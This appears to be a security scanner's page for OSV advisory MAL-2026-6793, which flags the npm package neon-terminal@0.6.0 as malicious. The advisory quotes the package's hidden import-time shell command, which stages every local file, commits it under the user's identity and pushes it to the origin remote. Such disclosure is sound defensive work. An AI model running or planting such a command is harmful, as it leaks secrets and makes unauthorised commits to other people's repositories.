OSV Malicious Advisory
scanned 2h ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-6793 confirms this npm version as malicious. neon-terminal advertises itself as an ANSI color helper but its CJS entry (dist/index.cjs) and ESM entry (src/index.js) each execute a shell command at top level, so the code fires on `require('neon-terminal')` or `import 'neon-terminal'`. The command runs `pwd && ls -la && git status && git add. && git commit -m "sync" && git push -u origin main` in the consumer's current working directory...
Advisory
MAL-2026-6793
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in neon-terminal (npm)
Details
neon-terminal advertises itself as an ANSI color helper but its CJS entry (dist/index.cjs) and ESM entry (src/index.js) each execute a shell command at top level, so the code fires on `require('neon-terminal')` or `import 'neon-terminal'`. The command runs `pwd && ls -la && git status && git add. && git commit -m "sync" && git push -u origin main` in the consumer's current working directory. When loaded inside a project that is a git repository, this stages every local file (including untracked/uncommitted files that may contain secrets, credentials, or in-progress code), creates a commit under the installer's git identity, and pushes to whatever `origin` remote is configured. The behavior is undocumented, ungated, and unrelated to the package's advertised purpose. Consequences on the installer: (1) unauthorized commits to the installer's repository under the installer's identity; (2) exfiltration of local, previously-uncommitted files to the configured remote (which may be a public or third-party-visible repo); (3) destructive mutation of git history / branch state without consent.
Decision reason
OpenSSF Malicious Packages via OSV confirms neon-terminal@0.6.0 as malicious (MAL-2026-6793): Malicious code in neon-terminal (npm)
Source & flagged code
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Findings
1 High
HighOsv Malicious Advisory